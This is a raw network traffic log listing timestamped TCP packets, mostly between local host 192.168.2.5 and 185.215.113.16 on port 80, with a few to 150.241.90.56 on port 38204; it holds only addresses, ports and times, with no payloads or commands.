Oct 29, 2024 05:02:26.848880053 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:26.882169008 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.882179976 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.882185936 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.882217884 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.882227898 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.882241011 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:26.882298946 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:26.882438898 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.882448912 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.882457972 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.882498980 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:26.882750034 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.882797956 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:26.882800102 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.882816076 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.882848978 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.882859945 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.882865906 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:26.882865906 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:26.882901907 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:26.883594990 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.883641005 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.883687973 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:26.966015100 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.966028929 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.966070890 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:26.966120958 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:26.999111891 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.999124050 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.999135971 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.999146938 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.999157906 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.999196053 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:26.999234915 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:26.999267101 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.999278069 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.999289036 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.999336004 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:26.999336004 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:26.999381065 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.999391079 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.999433994 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:26.999464035 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.000166893 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.000178099 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.000190973 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.000199080 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.000219107 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.000247002 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.082835913 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.082906961 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.082967043 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.115927935 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.115993023 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.116106033 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.116118908 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.116139889 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.116149902 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.116157055 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.116163969 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.116178036 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.116182089 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.116242886 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.116538048 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.116549969 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.116560936 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.116594076 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.116611004 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.116621017 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.116625071 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.116652012 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.116683960 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.117316008 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.117326975 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.117338896 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.117351055 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.117379904 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.117418051 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.199716091 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.199728966 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.199812889 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.233051062 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.233066082 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.233079910 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.233139038 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.233195066 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.233206034 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.233206987 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.233227968 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.233262062 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.233294964 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.233299971 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.233330011 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.233340025 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.233351946 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.233385086 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.233385086 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.233690023 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.233700037 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.233706951 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.233747005 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.233779907 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.233792067 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.233803034 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.233827114 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.233858109 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.316611052 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.316622972 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.316680908 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.350249052 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.350260973 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.350270987 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.350275993 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.350285053 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.350295067 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.350331068 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.350361109 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.350441933 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.350459099 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.350496054 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.350589037 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.350627899 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.350645065 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.350656033 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.350692987 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.350708961 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.350717068 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.350722075 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.350734949 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.350745916 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.350761890 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.350780010 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.351550102 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.351561069 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.351573944 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.351619005 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.433597088 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.433614969 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.433661938 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.433702946 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.466857910 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.466938019 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.466976881 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.466984987 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.467026949 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.467026949 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.467065096 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.467111111 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.467153072 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.467170000 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.467189074 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.467199087 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.467200041 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.467228889 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.467228889 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.467259884 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.467696905 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.467719078 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.467730045 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.467745066 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.467778921 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.467778921 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.467847109 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.467859030 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.467894077 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.467925072 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.468358040 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.468410969 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.468415976 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.468422890 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.468456984 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.468477011 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.468477011 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.468489885 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.468537092 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.514234066 CET	49751	38204	192.168.2.5	150.241.90.56
Oct 29, 2024 05:02:27.519623041 CET	38204	49751	150.241.90.56	192.168.2.5
Oct 29, 2024 05:02:27.519691944 CET	49751	38204	192.168.2.5	150.241.90.56
Oct 29, 2024 05:02:27.524038076 CET	49751	38204	192.168.2.5	150.241.90.56
Oct 29, 2024 05:02:27.530497074 CET	38204	49751	150.241.90.56	192.168.2.5
Oct 29, 2024 05:02:27.550847054 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.550857067 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.550903082 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.584142923 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.584153891 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.584162951 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.584186077 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.584219933 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.584341049 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.584351063 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.584359884 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.584369898 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.584381104 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.584383011 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.584402084 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.584427118 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.584572077 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.584582090 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.584593058 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.584604025 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.584611893 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.584638119 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.585036993 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.585047007 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.585056067 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.585074902 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.585083961 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.585099936 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.585110903 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.585120916 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.585124969 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.585160017 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.667848110 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.667918921 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.668045044 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.668092966 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.701066017 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.701075077 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.701081038 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.701138973 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.701267004 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.701278925 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.701289892 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.701301098 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.701312065 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.701317072 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.701323032 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.701345921 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.701370001 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.701932907 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.701982021 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.701987982 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.702002048 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.702012062 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.702043056 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.702070951 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.702352047 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.702392101 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.702403069 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.702410936 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.702434063 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.702445030 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.702455044 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.702486038 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.702486992 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.702500105 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.702526093 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.702549934 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.784687996 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.784698963 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.784776926 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.818027973 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.818099022 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.818187952 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.818198919 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.818208933 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.818218946 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.818226099 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.818373919 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.818382025 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.818383932 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.818396091 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.818419933 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.818453074 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.818470001 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.818480968 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.818490982 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.818517923 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.818551064 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.819159031 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.819170952 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.819180965 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.819220066 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.819235086 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.819246054 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.819247007 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.819257021 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.819288015 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.819300890 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.819308996 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.819366932 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.820010900 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.820069075 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.901752949 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.901762009 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.901834965 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.901835918 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.934920073 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.934940100 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.934947968 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.934995890 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.935018063 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.935025930 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.935030937 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.935045004 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.935056925 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.935065985 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.935097933 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.935128927 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.935575962 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.935585976 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.935596943 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.935607910 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.935627937 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.935659885 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.935996056 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.936007023 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.936017036 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.936053038 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.936063051 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.936074018 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.936080933 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.936093092 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.936117887 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.936117887 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.936151981 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.936736107 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.936747074 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.936755896 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.936780930 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.936784029 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.936791897 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:27.936820030 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.936820030 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:27.936850071 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.051866055 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.051887035 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.051897049 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.051948071 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.051954031 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.051964998 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.051997900 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.052052021 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.052112103 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.052165985 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.052205086 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.052215099 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.052222013 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.052244902 CET	80	49735	185.215.113.16	192.168.2.5
